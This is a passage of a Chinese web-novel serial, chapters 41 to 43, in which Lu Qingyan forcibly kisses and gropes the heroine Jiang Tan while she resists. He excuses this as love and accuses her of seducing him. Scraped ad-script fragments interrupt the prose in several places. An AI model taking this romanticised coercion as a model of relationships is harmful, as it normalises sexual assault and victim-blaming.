沈芳茵正要反驳,却见姜昙怒瞪了她一眼,转头跳了下去。 “姜妙仪,你疯了!”沈芳茵惊愕地叫道。 那池塘看着水浅,可实际上比人还高呐! 沈芳茵连忙叫丫鬟找长竿,可姜昙已游到池塘中央,在水里摸着沉下去的食盒,一点没有上来的意思。 不就是一块破石头嘛! 沈芳茵渐渐来了气,不上来,就在下面好好待着吧! “我们走!谁管她!” 沈芳茵带人离开,走了两步,想想还是不甘心,命丫鬟把粉黛推了下去。 姜昙坠入水中,浑身冰凉。 她后知后觉地想起来,自己怕冷,体质也比寻常人差些。上次自水里游出来,躺了整整三天。 这一次,不知要躺几天才能好了。 姜昙在水中睁开眼睛,看到食盒沉在水底,奋力弯腰去拿,却在此时感受到一股震荡。 有人落水了。 姜昙扭头,看到粉黛无力地闭着眼睛,沉沉地往水底落去。 想也不想地,姜昙朝下坠的粉黛游去。 粉黛仍有一口气在,察觉到有人在拖自己上去,紧紧抓住了救命稻草。 不想抓得太紧,救命稻草好似也游不动了。 放开。 姜昙掰开粉黛的手指,粉黛却抓得更加用力。 唯一的救命稻草,好不容易抓到了,她怎么也不会放开。 . 姜昙最近频频出现在他梦中。 以前陆青檐求他,他不来。 现在陆青檐不想见他,为此还断了一晌贪欢,忍着头痛连酒都未喝,他却非要来。 趁他睡觉,钻进他的梦里。 “姜昙,你真是无孔不入。” 浑身湿漉漉的人,正坐在他的怀里,双手紧紧圈住他的脖子。闻言仰脸看他,一双黑漆漆的眼眸不似真人,脸白得似鬼。 滴答,滴答。 姜昙脸上的水珠从头发缝里渗出来,把陆青檐也弄得湿漉漉。 这次相见,姜昙有了微妙的变化,他的胸前起伏,他是她。 陆青檐用力掰开姜昙的手,她不说话,却固执地缠上来。 陆青檐累的不行,随她去。 反正都缠了三年。 陆青檐捏着“姜昙”的下巴:“你会恨我吗?” “姜昙”依旧不说话,只是舔了他一口。 陆青檐猛然捏紧她的下巴,牙齿咯吱作响。 “你怎么能恨我?你杀了我,而我只是对你使了一点小小的手段。” 陆青檐用力将浑身湿漉漉的人按在怀里,力道大的几乎要把她揉碎:“你不应该恨我!” 陆青檐喃喃说:“你是一个那么能耐的人,敢独自跳下山崖,也敢拖着男人求生……这点磋磨对你来说,根本算不了什么!说不定,你知道真相后,还会讽刺我:‘宋庸,你就只会这么点小手段’。说得对,我只会这点小手段,你便好好享受!” “庸少爷——” 怀里的人轰然消失 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,陆青檐浑身发冷。 他睁开眼睛,看到粉黛连滚带爬地进来:“姜姑娘!姜姑娘她——” . “醒醒?” 小厮说:“公子,别救了吧,这人看着已经死了。” 锦衣公子摇头:“不会,她方才从水里爬上来时,还是清醒的,怕只是晕了过去。” “可她已经没有脉搏了。” 锦衣公子想了想,书中曾记载过有一个办法,但这法子难免冒犯…… 只是,顾不得那么多了。 “拿着!” 锦衣公子将书册塞到小厮手里,挽起袖子将姜昙揽到怀中。 他拨开姜昙脸上的湿发,犹豫片刻,低下头去。 姜昙忽然睁开眼睛,与面上的那双眼睛对视一瞬,重新闭上双眼。 锦衣公子一怔,随即发现她根本没有清醒,而是再次晕了过去。 陆青檐来时,看到的就是这一幕。 他眼前猛地一黑,接着耳中有不知名的鸣声。 陆青檐晃了晃脑袋,从心底滋生出一股无法控制的怒意。 这股怒意促使他缓缓地接近他们,将手中长剑一扬,对准了自己亲生的弟弟。 又或许是哥哥。 “陆昇,滚开。” 陆青檐眼前似有重影,他定了定神,一剑划破陆昇的衣摆:“滚开!” “大公子!”小厮挡在陆昇的面前,坚定的双眼瞪着陆青檐,寸步不移。 大公子,长公子。 陆家只有大公子,没有长公子,长公子只是他的一厢情愿。 陆青檐冷笑:“好一条忠心的狗,你能为他去死吗?” 说着,他的长剑指向小厮,下人而已,他想杀就杀! 陆昇淡淡拨开长剑,笑说:“兄长,好巧。你怎么在这?” 不愧是陆家的大公子。 不需片刻,一群下人就围了过来,碍于陆青檐的护卫,只站在远处。 陆青檐的意识回笼。 他将长剑丢开,探了探姜昙的呼吸,将她抱了起来。 陆昇拦了一下:“这位姑娘——” “是我的……” 陆青檐看着陆昇紧张的眉眼,说:“朋友。” 陆昇似是松了一口气。 陆青檐冷笑着抱姜昙离开,陆昇却在后面叫住他。 “她的东西。” 陆青檐扭头一看,是那个食盒,不知道姜昙是怎么从水底提了上来,才险些丢了自己的性命。 果然是蠢货。 “昇弟喜欢,就留着好了。” 陆青檐淡淡看他一眼,带姜昙回到了自己的寝房。 姜昙双目紧闭,看上去像是死了,和梦中的姜昙几乎一模一样。 唯有起伏的胸口,证明她还活着。 请来的白胡子老大夫自打摸上脉象,眉头就没松开过:“病人忧思过重,可是夜夜惊梦?” 粉黛看了门外的陆青檐一眼,他并未说话,只得自作主张,摇头说:“不知。” “气血两亏,虚不受补,像是久病未愈,拖至今日。病人从前可生过一场大病,死里逃生?” “……不知。” “还有这手,虚弱无力,似是脱力拉伤,近日可拖拽过什么重物?” “……也不知。” 白胡子叹了口气,这家人也太不上心:“开罢方子,另有些医嘱,你需仔细记好。” 粉黛手忙脚乱地找纸笔,才想起来自己不识字,只能靠耳朵记下。 陆青檐头疼不已,闭了闭眼,折步出去。 他说过不要那食盒,陆昇还是让人送了来,明晃晃地出现在他跟前碍眼。 陆青檐一脚将那食盒踢翻,大步出去,身后的一众小厮小跑着跟上来。 “牵马来!长公子要骑马去!” 41. 第 41 章 姜昙醒来时,一眼看到粉黛,险些以为自己躺在陆府。 看清帐顶的团花帐子,才知道自己是在客栈,紫珠就趴在床边上。 姜昙撑着发软的身体爬起来,粉黛殷勤地递靠枕,为她披衣服,最后端了一碗燕窝。 一边吹着热气,一边递到姜昙嘴边。 “不用如此破费。” 姜昙将脑袋偏到一侧:“我喝不惯燕窝。” 粉黛放下碗,又将桌子上的蜜饯拿起来:“那姑娘尝尝这个,药可苦呢。” 姜昙猜得出她的心思,浅笑说:“那时就算不是我,换了别人,也会救你上去。不必在意,你是陆长公子的人,也算是还他的人情。” 粉黛笑容一僵。 在庸少爷眼中她什么都不是,怎么当得上一个人情。 “我知道自己的身份,换了旁人,也未必有哪个肯冒着生命危险救我。” 粉黛乖巧地跪伏在她手边:“姑娘是我的大恩人。” 这是一个表示屈服的姿势。 人牙子卖她时教过,做出这种姿势最是浑然无害,没有骨头似地猫成一团,任谁看到都会心生怜惜。 可姜昙只是将手拿远了些,让紫珠搀她起来。 “粉黛姑娘,若是想感谢有很多办法,不必如此谦卑。” 姜昙指着屋子里的礼物说道:“你的礼物我收下了,请带话给长公子,多谢他又救我一次。姜昙无以为报,来日有机会必定偿还。” 粉黛以为自己听错了。 可姜昙面上是明明白白的温然笑意,看起来没有丝毫疏离之处。 一直被紫珠送出门时,粉黛的脑中仍是懵的。 待房中只剩下两人,紫珠总算松了口气。 “姑娘,你都不知道!那丫头身上的香味能腻死人。上次见她,分明嗅到她身上一股淡淡的药味,和姑娘身上一样好闻。” 紫珠奇怪地想:“莫非这丫头在陆府里,和在陆府外面用的是两种不同的香味?” 姜昙放松地靠在枕上,调笑她说:“那是一种名贵的香料,要花许多银子。我们省吃俭用一个月也买不起,你竟嫌腻?” 笑着笑着,姜昙忽然咳嗽起来,腰身佝偻起来,怎么也止不住。 紫珠连忙将那些烦人的礼物都堆到地上去,从角落里把熬好的药端上来。 姜昙端详着黑乎乎的药汤。 紫珠说:“陆家派人送来的方子,奴婢不放心,重新熬的。熬之前还特意出门去找大夫看了一眼,说是治风寒和那什么……” 紫珠记不住那一堆的药材名字,只记得让大夫按方子抓时,那大夫斜着眼睛瞟她:“我这小医馆,哪有这么多名贵的药材。就算有,怕是你也买不起!” 紫珠立时就豪气万丈拍桌子:“多少钱都买的起!” 大夫说出了一个她当牛做马到下辈子也攒不到的数目。 乖乖,这陆家长公子可真败家,治个风寒尽用些无用的贵药,真是败家! 姜昙咳嗽渐止,笑着瞅紫珠掰指头。 掰完指头,紫珠又指那地上堆起来的礼物:“这些东西,姑娘可要差人送回陆府去?” 姜昙笑意渐平:“留下吧,陆长公子不缺这些。” 从一开始她就该想到,熬药膳送给陆青檐,是最坏的主意。 紫珠小心问:“姑娘不打算回报你那个朋友了吗?” 姜昙回想起潜入水中看到的景象:混浊的一片,俱是水草和沙石。 食盒里那个很重要的东西,她找了很久,一直到将近力竭,她才不得不相信,那是一块石头。 从一开始,她就看到这块石头沉在水底,却还是翻来覆去地找。 现在想想,其实早有端倪。 什么要紧的东西,会要一个看门的小厮来送,还随意地转交给一个他们不信任的“长公子的朋友”。 她已与陆青檐见过一次,他身边数十个陆府小厮,应该都认得她。 翌日上门拜访,却当她是陌生人一般。 根本就没有要紧的东西,引她去月牙阁的用意…… 姜昙不愿将人往坏处想。 姜昙摸了摸紫珠的脸:“那个朋友很奇怪,他或许不当我是朋友。所以下次再回报他罢。” 毕竟,陆青檐好似根本不在意。 留下礼物,就当没有发生过之前的事好了。 陆青檐不当自己是朋友,她也不必眼巴巴地贴上去。 她原就不是自作多情的人。 . 姜昙是如此想的。 可是不到一日,粉黛哭着跪在面前求她:“昇少爷约了庸少爷在靶场比箭,可旁人不知道,奴婢却是知道的。庸少爷他近来时常咳嗽,又多饮酒,好几次连站也站不稳,一看就是伤了肺腑,他却根本不寻大夫来看,怕是这伤不能让外人知道……” 姜昙想到了山上的锦衣卫。 陆青檐不说,她也就不问,但猜也猜得到。 锦衣卫是朝廷鹰犬,陆青檐又是国公府长公子,敢杀锦衣卫,必定是结下了不死不休的仇怨。 或许牵扯到朝廷党争。 而素来听说陆府大公子文采斐然,与太子师出同门。 若陆青檐怕被他知道,那么恐怕两人是敌对关系。 姜昙逼迫自己狠下心来,将粉黛推开:“长公子既然应约,必定早有应对之策。我只是一个闺阁女子,你找我也无用。” 粉黛膝行追过去:“姜姑娘,可你会医术,不能让大夫进门,却可以让你进门。若庸少爷有什么不测,有你在一旁照应,至少能保住他的性命。庸少爷的朋友不多,你若不救他,便再无人救他了!” 危言耸听。 姜昙摇头:“哪就这么严重?” 更何况,她哪里算得上陆青檐的朋友。 姜昙对紫珠说:“去找茂林过来与她去,另寻一人去找陆昂。” 紫珠面露为难之色。 “怎么?” “姑娘,午后施公子就出了门,走之前特意嘱咐过,约了陆昂公子去郊外骑马,晚饭后再回。” 这两人竟一起走了。 “姜姑娘,奴婢来之前,庸少爷已策马去了靶场,怎么都拦不住。” 粉黛哭得梨花带雨:“他身边的小厮,无一人察觉他的伤。” 若是被人察觉,除非伤口崩裂,鲜血渗出来。 回陆府这么些日子,若陆青檐一次都看过大夫,也未处理过伤口,那么他约莫是不想活了。 姜昙咬牙说:“陆家小厮众多,你可派人接一名大夫悄悄入府应对。另外分些人出去找施茂林和陆昂,想来也来得及——” 粉黛说:“那万一来不及呢?” 姜昙闭了闭眼。 两次都未见 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 到他人,姜昙也不是傻子。 不是从第二次起,而是从第一次起,陆青檐大概就是故意不见她。 第二次,不仅不见她,还好一番玩弄。 这一次,又或许是第三次。 . 陆昇看着一箭射出,在半空中像是突然无力的鸟儿,飞了不到片刻,就狠狠坠在地上。 箭矢掉落的地方,离靶子还远的很。 他这位兄长,不仅看着面嫩,连射箭的手法,也稚嫩得很。 像是形成习惯,却又无人教他,故而动作熟练,手法却生疏。 射出的箭更是惨不忍睹。 陆昇礼貌地没有作出评价,而是等到陆青檐射完十箭,接过弓箭。 “兄长请移步,该我了。” 陆青檐满不在乎地站到了一侧,打算看看这位好弟弟,箭术是如何优秀的。 陆昇当然射得好箭。 自小他便习君子六艺,其余皆算同窗中出类拔萃者,唯有箭术平平,令他心有不甘。 可教习箭术的师傅说过,他于此道并无天赋,只有勤能补拙。 陆昇便日日练箭,虽不能做到师傅口中箭术高手的分毫不查,却也能百发百中,不至于偏差太多。 对付陆青檐,更是绰绰有余。只是…… 陆昇今日不想百分百中。 眼中靶心微晃,陆昇蓦然调转方向,拉弓对准陆青檐的心口。 锦衣卫指挥使之子汤慎于扬州下落不明,寻人的锦衣卫惨死山中。 他疑心陆青檐,要试一试他。 陆青檐似乎短暂地笑了一下,陆昇眯起眼睛,放箭。 箭如飞鹰,疾驰而去。 陆青檐想躲,可若是他受伤,应该是躲不开的。 陆昇胸有成竹,可半途忽然射出另一只箭,飞鹰被射中翅膀,劈成了两半。 他不甘心。 陆昇迅速搭弓,准备再射一箭。这一次,那人的箭比他更快,直直从他耳边擦过去。 陆昇一惊,捂住耳侧,身边的小厮已围了过来:“大公子,耳朵可是受伤了?” 没有。 陆昇心脏咚咚地跳,他放下手摊开,是一缕头发。 盯着断发愣了半晌,才想起来找那个射箭之人。 不远处的正前方,一个身穿绣衣的姑娘正拉弓对着他,眼神沉静。 未穿骑装,广袖罗裙,距离却控制得分毫不差。 他见过她! 是那个从水里爬上来的女子。 “姑娘,我没有恶意……” 陆昇拱手正要解释,身边箭师傅为给他出气,一箭射了出去,直冲陆青檐。 陆昇以为这一箭也会被破开成两半,那女子是箭术高手,于她而言这不算什么。 可一切大大出乎陆昇意料,姜昙竟伸手试图接箭。 真是蠢货。 陆青檐忍无可忍地推开她,迎上那只箭。 箭矢刺入血肉的那一刻,陆青檐深吸一口气,觉得呼吸中都带着血腥味。 很多年都未有这样的感觉了。 陆青檐仰面倒在地上,看着姜昙急忙跑过来。 陆青檐得意地想,姜昙心里一定紧张得快要死掉了! 如今的姜昙,比三年前愚蠢得太多。 旁人作弄她,她竟还是来了。 愚蠢至极。 42. 第 42 陆青檐陷入黑暗之中。 先是感觉身体发冷,慢慢地身体又变得极热,热得发烫。 像是生平第一次喝酒,那并不算什么好酒,饮下去却觉得辣意弥漫至五脏六腑,游走至喉咙。 冬日里开口说话,好比街头的杂耍人,随时能吐出一口火球一样。 宋员外觉得他整日吃喝玩乐,不成样子,给他找了个老先生,要教他学一学诗书礼仪。 老先生战战兢兢地教授着课业,却不敢挑他的错处。 哪怕宋庸将脚架到桌面上,往后一靠睡大觉,老先生也不敢说半个不字。只敢一面抹汗,一面奉承他夜里繁忙,白日还要抽空读书,真是辛苦。 繁忙? 的确是挺繁忙的。 宋庸回到吴江,有几个颇会溜须拍马的纨绔跟了上来,变着花样地游船、听曲。 可谓夙兴夜寐,披星戴月。 宋庸觉得没意思。 其实什么君子六艺,他统统不感兴趣。 读书是为了做官,只有穷人才会做这样的春秋大梦,真以为能翻身。 宋庸唯一感兴趣的且得心应手的,是一张琴。 这琴他花了大价钱买来,任谁看到它精妙的做工和雕纹,都会惊羡不已。 就连那些背地里嫌弃他一身铜臭味儿的酸儒秀才,也会围着他吟诗夸赞。 可是不看这琴,不看奏琴之人,他的琴音,又价值几何呢? 这年冬日,宋庸饮了一杯烈酒,藏在小舟中的一方草帘后。借着酒意,信手拨弄琴弦。 带着他自己都察觉不到的紧张。 湖上是一场才子宴,不观奏琴之人外在,只赏其音。 一曲毕,宋庸乘坐的这艘小舟周围,吸引过来最多的船和人。 用夸赞那张名贵的琴的诗句,大肆夸赞着他。 宋庸不免有些得意。 然而此时,一个讽刺的声音响起:“这琴声勉强可以听得,可这奏琴之人的手指,怎么多了两根呐?哈哈哈哈哈哈哈,十二指哈哈哈哈哈——” 出言之人是一个富家公子哥,坐在船头笑得前仰后合,跟在他身后的一群人,随之哄笑成一片。 宋庸认得这声音,张泰。 宋家生意上的对头,张家的小儿子。 宋庸将手指蜷缩回袖子,拳头握紧。 他天生六指,最厌恶别人提起。 宋家上下,都知道他的逆鳞,无一人敢提。 琴音断开的同时,张泰和随行的仆从更是嘻嘻哈哈,甚至指挥船撞上了宋庸的小舟。 宋庸身形一晃,在小舟中几乎站不住,连那把名贵的琴也撞在船舱上,摔断了琴弦。 “十二指,十二指! “十二指~出来一见呐!” “十二指羞于见人。” 张泰一撸袖子,踏上两船相接之处,边嬉笑说:“让我来瞧瞧,这十二指究竟长得什么模样。” 宋庸怒不可遏,抽出船上挂的佩剑。 习君子六艺还是有好处的,一柄长剑随身携带,旁人看了只当他风雅。 实际的用处,是在遇见令他不顺心之人时,可随时杀之! 宋庸正待掀帘而出,小舟猛地一震,宋庸听得外面一阵惊叫。 “少爷!少爷掉下去了!” 张泰并未掉入河里,而是挂在张家的船壁上,死死扒着船边,眼神惊恐地看着河水。 看到张泰这惨样,宋庸畅快地哈哈大笑。 没人看清楚张泰是怎么伤的。 有人说是看到一支箭射过来,不过那箭掉进了水里,不见踪迹。 此时,一艘小舟穿过人群。 舟上一个汉子对人群拱手:“给诸位才子道一句抱歉。武馆在举行比试,箭射错了方向,坠入此处。” 外面有人说:“箭射得这样偏,射箭之人必定不怎么样!” 汉子摆手:“那你可错了,射箭之人是比试魁首。” 那人惊讶道:“这样的箭术,竟是魁首?” 汉子也很诧异,那小相公十发九中,最后一箭错得如此离谱,竟射往湖上来了。 问起射错的缘由,那小相公说得更是离谱。 “忽闻船上有妙音,犹如后羿附体,有如神助,故而百发百中。” 汉子重复着那人的话:“那小相公说,琴音一断,神仙离体,故而射偏。” 众人听到这等解释,皆是愕然。 有人又问:“那你来此处是为何,箭矢入水,估摸是捞不到了。” “不是为捞箭,而是为这个。” 汉子奉上一团红绸花,对宋庸说:“魁首相公说,今日成绩仰仗神助,不敢居功。若要嘉奖,该奖湖上妙音,今后寒窗苦读,也该有此音长伴读书人。” 忽有秀才摸着短须,吟道:“从此静窗闻细韵,琴声长伴读书人。” 众人一听,皆若有所思。 谁不希望读书时听到琴音,也如文曲星下凡一般,有如神助呢。 何况此人说的不错,妙音妙音,不观其奏琴之人其貌,只赏其音。 十指或是十二指,又有什么关系? 红绸花被那汉子一扔,飞去船舱,滚至宋庸面前。 先前听得汉子说那射偏的箭,宋庸只觉得射得好! 他宋庸时至今日,果然连老天也站在他这一边。 宋庸心情大好,扯着身上的荷包玉佩。那射箭的人讨了他的欢心,该赏! 可他未摘完,便听到了这样一番话,收到了意料之外的一朵花。 他手上紧握不放的剑不由松开,他低身正要捡起那花,船外有更多的花砸了进来。 冬日鲜有丽色,这是那群酸儒秀才们表示赞赏的意思。 鲜花赠妙音。 船外张泰终于缓过劲来,脸色难看地大叫:“可他是十二指,十二指就是怪胎!” 没有人理会他,更有人朝他投去一个冷飕飕的眼风,表示鄙夷。 与此同时,宋庸的小舟前,砸出一场花雨。 宋庸坐在船内,心情如此奇异。 他没见过那个射箭的人,也一直没有想到要找他。 直到晚上回到宋府,才从恍惚中回过神来。 深更半夜,整个宋府亮起了灯。宋府的下人都提着灯笼出去,打听白日射箭那人的去向。 没有画像,不知姓名。 那人也许早就不在吴江,消失得干干净净。 一连几日,宋庸的脸色都很难看。他心情烦闷,骑马出去。 可他久久不回吴江,身后也无小厮跟着。 不知怎么入了一个集市,前路拥挤,后路也被人流堵住,宋庸只好艰难地行着。 空气中有家禽的异味,难闻非常。耳边是吵嚷的叫卖声,说话声,宋庸被吵得耳朵疼。 偏生身后的人流涌动,几个挑着筐子的小贩挤过来,不知怎么惹怒了马儿。 宋庸心情逐渐不耐,打算用手中马鞭,驱赶这群不识趣的小贩。 这时,一双手蓦地拉住缰绳。 宋庸低头,看到人群 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 中一张脸,眉目如画,身姿端正。 心中蓦然生起一个念头,是他。 可他是谁?谁是他? 耳边传来此起彼伏的惊呼声,宋庸还未来得及细想,忽然被他揪紧衣领,扯得伏在马背上。 他一手护在宋庸脑后,另一只手迅速伸出去,接住了什么。 宋庸微微喘息着,抬头看到那人将手拿到近前,握着一支箭。 原来是方才路边杂耍班子里的艺人射歪了箭,朝这边射来。 宋庸坐在马上,并未注意到,而他从旁边经过,拉自己一把,还有余力接箭。 好箭术。 宋庸盯着近在咫尺的这张脸,愣神之际,眼前箭矢尖端砰地炸开。 红色花瓣四溅,这是杂耍班子讨看官开心的手段。 那股奇异的感觉,又来了。 宋庸闭了闭眼,再睁开眼睛,方才接箭的人,不见踪影。 第二次了。 第三次见面时,在同样的集市,同样的地方。 宋庸甩开小厮,忍着吵闹和脏污,几乎日日来此,已一月有余。 十一月的某一日,宋庸再次见到了他。 他说:“我想做宋少爷的朋友。” 宋庸问:“为什么?” 他说:“做少爷的朋友,就不会被人欺负。” 宋庸不知怎的,有些失望。 看起来怎么也不会弯腰的一个人,竟在此时和他身边的那些下人一样,乖巧地低头。 “做本少爷的朋友,得陪我玩游戏,你敢吗?” 他的箭术分明绝佳,却还要骗他说,不会射箭。 从一开始,他就在对他撒谎! . 陆青檐慢慢睁开眼睛,映入眼帘的是女人乌黑的头发。 姜昙在他身边时,看起来总是十分乖巧。连她的头发看起来也如此知分寸,规规矩矩地压在颈后。 陆青檐捂着胸口坐起来,察觉到一阵刺痛。 他只穿着一件单衣,掀开衣襟看了看,胸口的伤口竟被缝住了,这一定是姜昙的手笔。 其余人未经过他的允许,不敢请大夫。 陆青檐忍着痛意,轻轻挪动位置,才找到姜昙藏起来的面容。 分明是柔弱可欺的一张脸,怎么就那么大胆? 陆青檐的眼神从姜昙的眉眼,滑过鼻梁,落在淡粉色的唇上……就连她的脸,天生就长着一副欺骗人的样子。 “唔……” 姜昙睁眼,对上了近在咫尺的陆青檐。 她一瞬间就清醒了,身体却还是僵住的。 未等她说话,陆青檐神态自若地问:“你为什么不射第三箭?” 为什么要用手去拦,那样一定会手伤,还很可能废了手。 姜昙愣愣地答:“因为我只能射两箭了。” 射完两箭,她的手臂在颤抖,已拉不开弓了。 用手接箭,是因为手早就废了,也无所谓再伤一次。 陆青檐听懂了,淡淡直起身来:“原来如此。” 姜昙小心地盯着他的动作,不动声色地拉开距离。 方才是意外,离得太近了。 可她刚直起身子,若无其事的陆青檐猛地倾身过来。 他用了很大的力气,死死按下她的肩膀。 姜昙只听到床面一声响动,还未反应过来,陆青檐就捧住她的脸,狠狠亲了下来。 姜昙尚且是懵的,察觉唇上被咬了一口。 陆青檐喘息着说:“闭上眼睛。” 43. 第 43 章 姜昙的脑中轰然炸开。 陆青檐在干什么? 足足愣了半晌,姜昙才如梦方醒,她用尽全力推着陆青檐的肩膀,却忘了这是一个成年男子的身量,根本难以推开。 反倒教他察觉了阻碍,紧紧掐住两只手腕,深压在头顶上方的锦被中。 陆青檐浑身热得似火。 姜昙浸染到他的体温,如被火炙烤一般,痛苦煎熬。 姜昙悬在半空的双腿扑腾着,也被他用一条腿压在中间,卡在床榻上,教她合不拢也挣不开。 唇上那股发狠的势头,像是要把她当做了敌人,又舔又咬地挤进牙关,强迫着裹挟她的唇舌。 本是柔软的两条湿滑,唾液滋润着搅弄在一处,却有着将她吞吃入腹的劲头。 姜昙用力扭动身体挣扎,却似起了反作用。 陆青檐沉重的呼吸猛地一滞,松开一只手,迅速划过椎骨,握紧她的腿弯,强迫着用力按在腰际。 两人四肢,交错着紧紧绞缠。 偶尔被姜昙的挣扎动作微微分开,很快又严丝合缝在一处。 女子的杏色绣衣被男子的深青色衣摆死死压住,衣摆悬在床尾,摇荡着撞在一起。 这一切,几乎发生在瞬息之间。 姜昙头皮发麻,浑身激起了鸡皮疙瘩。 陆青檐疯了! 姜昙心中只剩下这一个想法。 身上的人吻得忘情。 在陆青檐又咬上她的唇时,姜昙用力咬了他一口。趁他吃痛时,推开陆青檐,随即在他的脸上扇了一巴掌。 寂静之中,这记耳光的声音称得上响亮。 陆青檐顿住了。 被扇到偏至一侧的脸缓缓转过来,似乎是沉迷之后方才清醒。 陆青檐的左脸肉眼可见地红起来。 两人的距离微微分开,却靠得极近,只是从躺着变成了坐着。 陆青檐的唇上流下一滴血珠,他用指尖擦了擦唇,那血便像胭脂一般晕染开来。 姜昙冷冷地说:“清醒了吗?” 陆青檐忽然嗤笑一声。 姜昙浑身一震,怀疑是自己听错了。 下一刻,陆青檐猛然压住姜昙的肩膀,死死将她按在锦被里。 湿润的唇舌在脖颈上舔舐,辗转至耳廓。 他在她的颈间深深吸一口气。 接着,他将手探了进来,滚烫且用力。 姜昙瞪大了眼珠,她发狠用手掌按着陆青檐胸口的伤处,很快察觉到掌心一片湿意。 殷红的血渗透他的前胸后背,额头渗出汗来。 陆青檐浑身痛得颤抖,甚至鲜血都滴到了姜昙的眼下。 姜昙拔出簪子,在陆青檐的手臂上划出一道血痕,他终于撑不住,被姜昙推到了地上。 陆青檐连连后退,撞翻了屋内的香炉,跌坐在门边。 头发凌乱地披在肩上、胸前,陆青檐抬头,捂着渗血的手臂,看向姜昙。 屋内的灯早已熄了。 粉黛说庸少爷习惯如此,屋内只留一盏灯。 姜昙先前将那灯挪到床头,方才不知被谁的手拂落在地,滚到床底去了。 冰凉的月光映在陆青檐苍白的面上,他一眼不错地盯紧姜昙,像一只化形的精怪。 半是寒光,半是艳色。 姜昙知道他看不见,却对这样的眼神毛骨悚然。 姜昙跪在榻上,手中的簪子对着陆青檐的方向,握得愈发用力。 方才,她惶惶然寻到那精怪的弱点,用力按在他的伤处。 可精怪并未如姜昙所料般逃走,反而愈发放肆。 她手上越用力,他跪在她双膝间的腿,就越往前挪动一分…… 姜昙不愿回想。 “为什么要这么对我?” 姜昙带着怒意质问他:“陆青檐,你疯了吗!” 陆青檐似是笑了笑,姜昙看到他的嘴角涌出一条血线来。 半晌,他说:“为什么……当然是因为,我喜欢你啊。” 陆青檐唇齿轻碰,意味不明唤道:“嫂嫂。” 姜昙不可置信看着他:“你在说什么?” “做什么用这样的语气质问我?我的心思,你不该早就知道吗?” 陆青檐靠在门上,平静地说:“一个人,想要脱一个人的衣服,让那人坐在自己怀里,亲吻舔舐那人的肌肤,日夜梦中都是缠绵的景象……” 说到此处,他的眼神扫视了姜昙一下。 他应该看不见的,却似乎能看见她惶然不安的表情。 陆青檐说:“除了喜欢,还能是为什么?” 陆青檐似在说别人,又好似在说她。 姜昙手中的簪子几乎快握不住:“可我是茂林的未婚妻子,而你是他的好朋友,你怎么能如此对我,而且我们……你——” 朋友妻,不可欺。 陆青檐一副认命的模样:“难道你没有听说过,情难自抑四个字?” 情到深处,做出什么样的梦境,都不受人控制。 就算不想,那人也无孔不入。 真稀罕,他会露出这种表情。 陆青檐说:“受伤之人最是脆弱,一觉醒来见到喜欢之人,如何能忍得住?嫂嫂是大夫,应该比我更懂得这个道理,这个时候,应该离我远一些,可你偏偏要贴上来。嫂嫂,这种举动,就是在勾.引我。” 姜昙震惊地看着他,他与这种人说不通。 “我没有旁的意思,我只喜欢施茂林,对你无意。我们之间,没有可能!” 陆青檐笑了笑:“那若是没有施茂林,我与嫂嫂可有机会?” 姜昙怔住,又听他问:“就算有施茂林在,我与嫂嫂为什么又不可能呢?只要瞒着他,在他每日去武馆后,我再去客栈找嫂嫂,云雨缠绵,共赴巫山,一解相思。如此三人,都可快活。” 姜昙惊愕地看着他:“你果真是疯了!” 陆青檐不以为意。 姜昙浑身的力气一下子散了:“从此以后,我们两不相欠。” 陆青檐背对着月光,半张脸陷入黑暗之中,沉默地瞧着她。 姜昙开门打算离开,可她的手实在抖得止不住,那门怎么也打不开。 这时,门边的人撑着站起来,于背后疾步而来。 姜昙心头一跳,只来及转身,就被人握住手腕,她的右手早已脱力,使不上劲。 陆青檐轻易就将姜昙手心藏着的簪子夺走。 姜昙将脑袋偏到一旁,他便吻上她的脖颈,舔舐耳廓,又来亲她。 亲吻发了狠意,似乎要把她的肌肤咬破。 姜昙不留情面,再次往陆青檐的脸上甩了一记耳光:“长公子不知礼义廉耻吗?” 趁他愣神之际,姜昙在他胸前的伤口处狠狠一推。 接着打开门,门外是满地清白的月光。 姜昙连眼神也不肯分他一些,毫不留恋地离去。 身后扑通一声,陆青檐倒在地上。 看来,那精怪终于如她所料,坚持不住了。 这一路姜昙都没遇见下人。 直到出了院子时,才看见粉黛在外面转悠,看见她吓了一跳:“姜、姜姑娘,你唇上有……” 姜昙抹了一把唇,凑至眼前一看,是殷红的鲜血。 陆青檐口中的血。 姜昙面上的神情变得冰冷,一眼对上,如坠冰窟。 粉黛不禁忐忑起来,她想起了以往做的那些事。 可姜昙只是冷然看了她片刻,随后说:“屋内的灯油似乎用光了。” “是,奴婢即 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 刻去换。” 粉黛站在院子门前,心中发紧。 庸少爷最不喜欢打扰,若是没有吩咐,谁也不能进去。 犹豫片刻,她还是决定进去。 怕什么?若是庸少爷发怒,就说是姜姑娘说的。 粉黛推门而入。 “庸少爷!” 满地都是血,粉黛几乎是跪着扑过来。 陆青檐安静躺在地上,第一眼看见他,粉黛险些以为他死了。 “怎么会这样?奴婢马上去请大夫。” 陆青檐被她搀扶起来,咬牙吩咐:“抓住姜昙,不许让她离开……” 话未说完,陆青檐口中涌出鲜血,气息微弱。 门外邓显迅速跑过来,接过陆青檐把脉,脸色一变。 邓显对粉黛说:“快去找刘武,让他出去找一个大夫回来!” 刘武是庸少爷重金聘请的武林高手,对外名义上是习武师傅。 可粉黛知道,他实际上是庸少爷的亲信杀手,杀人如麻。 受伤的事不能让外人知道,为了庸少爷的安危,那大夫医病之后的下场,可想而知。 . 姜昙将箱子翻了个底朝天。 坐在一室乱物之中,她才想起来,之前写的药方,早已被紫珠拿去丢了。 她脑中混混沌沌,记不清自己曾经写了哪些药,索性不再寻找。 姜昙将自己所有的药都包了起来,去寻厨房的小二,借了个煮药的瓦罐。 一边生火,一边凭着记忆往里放。 姜昙将能安神的药材一个一个放了进去,又拿起一味药时,竟忘了它的效用。 愣神片刻,她将自己所有的药都倒了进去。 等施茂林回来时,看到的就是桌子上一碗黑浓浓的药汤。 